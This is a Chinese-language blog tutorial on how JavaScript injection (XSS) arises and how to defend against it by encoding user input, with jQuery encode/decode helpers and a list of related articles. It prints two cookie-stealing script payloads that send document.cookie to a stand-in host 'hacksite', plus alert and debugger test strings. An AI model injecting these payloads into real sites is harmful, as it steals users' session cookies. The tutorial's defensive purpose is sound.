JavaScript注入漏洞的原理及防范(详解)


Posted in Javascript onDecember 04, 2016

初次接触:

初次接触JavaScript注入漏洞后,如果不对这种漏洞的作用机理仔细分析并提取出其发生的某种模式,你就不能做到快速的发现项目中可能存在的所有注入风险并在代码中防范。

发生模式:

JavaScript注入漏洞能发生作用主要依赖两个关键的动作,一个是用户要能从界面中注入JavaScript到系统的内存或者后台存储系统中;二是系统中存在一些UI会展示用户注入的数据。

比如注入漏洞最常见的就是发生在各种类型的名字中,比如系统中的人名等等,因为名字往往会在各种系统上显示,如果在某个用户输入名字的时候注入了脚本,那么受其影响的各个系统都有发生注入漏洞的风险。

曾经在帮别的项目做Bug Bash时,我给系统中的一个名字中注入了JavaScript脚本,结果导致使用这个名字的8个子系统、站点、app出现问题。

解决方案:

防范注入漏洞主要有两个思路:一个是在用户输入数据后Encode内容后再保存到持久存储,另一个是在展示用户输入数据的地方Encode从持久存储中取到的数据。

方法一的优点是一般存储用户输入数据的代码少而固定但展示输入数据的UI界面可能有很多而且还会有变化的可能,因此比较好防范;但缺点是存储在持久存储中的数据是Encode后的。

方法二的优点是存储在持久存储中的数据原始内容;但缺点是需要在多处UI界面中写代码防范,而且还得确保在增加新的UI时不忘防范。比如现在Web app比较流行,公司决定开发,那么在开发的过程必须要做好防范,否则可能别的地方都防范好了,但新系统中却没有做好防范,漏洞最后还是发生了。

JavaScript Html Encode/Decode by jQuery:

function htmlEncode(value){

return $('<div/>').text(value).html();

}

function htmlDecode(value){

return $('<div/>').html(value).text();

}

漏洞被用于攻击时注入内容:

jQuery场景:

<script>var i=$("<img></img>");i.attr("src", "http://hacksite?k="+document.cookie);$('body').append(i)</script>

原生JS场景:

<script>var d=document;var i=d.createElement("img");i.setAttribute("src","http://hacksite?k="+d.cookie);d.body.appendChild(i)</script>

测试漏洞时注入内容:

<script>alert(0)</script>

<script>debugger</script> --辅助开发人员快速定位出错的JavaScript代码(打开调试器的情况下)。

以上这篇JavaScript注入漏洞的原理及防范(详解)就是小编分享给大家的全部内容了,希望能给大家一个参考,也希望大家多多支持三水点靠木。

Javascript 相关文章推荐
Jquery 1.42 checkbox 全选和反选代码
Mar 27 Javascript
Javascript 实用小技巧
Apr 07 Javascript
优化innerHTML操作(提高代码执行效率)
Aug 20 Javascript
jQuery阻止同类型事件小结
Apr 19 Javascript
JavaScript返回网页中锚点数目的方法
Apr 03 Javascript
js中的内部属性与delete操作符介绍
Aug 10 Javascript
javascript中的五种基本数据类型
Aug 26 Javascript
vue的基本用法与常见指令
Aug 15 Javascript
利用Vue-draggable组件实现Vue项目中表格内容的拖拽排序
Jun 07 Javascript
简述vue-cli中chainWebpack的使用方法
Jul 30 Javascript
vue实现axios图片上传功能
Aug 20 Javascript
JavaScript中的各种宽高属性的实现
May 08 Javascript
浅谈html转义及防止javascript注入攻击的方法
Dec 04 #Javascript
jquery select2的使用心得(推荐)
Dec 04 #Javascript
Jquery删除css属性的简单方法
Dec 04 #Javascript
浅谈jQuery before和insertBefore的区别
Dec 04 #Javascript
jQuery根据ID、CLASS、等获取对象的实例
Dec 04 #Javascript
jQuery得到多个值只能用取Class ,不能用取ID的方法
Dec 04 #Javascript
javaScript中定义类或对象的五种方式总结
Dec 04 #Javascript
You might like
ajax 的post方法实例(带循环)
2011/07/04 PHP
支持中文的php加密解密类代码
2011/11/27 PHP
搭建基于Docker的PHP开发环境的详细教程
2015/07/01 PHP
PHP实现转盘抽奖算法分享
2020/04/15 PHP
奉献给JavaScript初学者的编写开发的七个细节
2011/01/11 Javascript
JS 获取select(多选下拉)中所选值的示例代码
2013/08/02 Javascript
jQuery将多条数据插入模态框的示例代码
2014/09/25 Javascript
JavaScript导出Excel实例详解
2014/11/25 Javascript
Jquery插件仿百度搜索关键字自动匹配功能
2016/05/11 Javascript
原生的强大DOM选择器querySelector介绍
2016/12/21 Javascript
Vue2组件tree实现无限级树形菜单
2017/03/29 Javascript
VUE前端cookie简单操作
2017/10/17 Javascript
vue+webpack 打包文件 404 页面空白的解决方法
2018/02/28 Javascript
jQuery 实现倒计时天,时,分,秒功能
2018/07/31 jQuery
微信小程序-可移动菜单的实现过程详解
2019/06/24 Javascript
file-loader打包图片文件时路径错误输出为[object-module]的解决方法
2020/01/03 Javascript
python分割列表(list)的方法示例
2017/05/07 Python
Python函数中不定长参数的写法
2019/02/13 Python
linux中如何使用python3获取ip地址
2019/07/15 Python
详解pandas DataFrame的查询方法(loc,iloc,at,iat,ix的用法和区别)
2019/08/02 Python
Django路由层URLconf作用及原理解析
2020/09/24 Python
CSS3动画之流彩文字效果+图片模糊效果+边框伸展效果实现代码合集
2017/08/18 HTML / CSS
css3动画过渡实现鼠标跟随导航效果
2018/02/08 HTML / CSS
详解css3中 text-fill-color属性
2019/07/08 HTML / CSS
HTML5 拖放功能实现代码
2016/07/14 HTML / CSS
HTML5中indexedDB 数据库的使用实例
2017/05/11 HTML / CSS
jurlique茱莉蔻英国官网:澳洲天然护肤品
2018/08/03 全球购物
绩效管理实施方案
2014/03/19 职场文书
2014年毕业演讲稿范文
2014/05/13 职场文书
实习协议书范本
2014/09/25 职场文书
优秀教师事迹材料
2014/12/15 职场文书
班主任远程培训研修日志
2015/11/13 职场文书
学生安全责任协议书
2016/03/22 职场文书
幼儿园2016圣诞节活动总结
2016/03/31 职场文书
怎样写好演讲稿题目?
2019/08/21 职场文书
Nginx+Tomcat负载均衡集群的实现示例
2021/10/24 Servers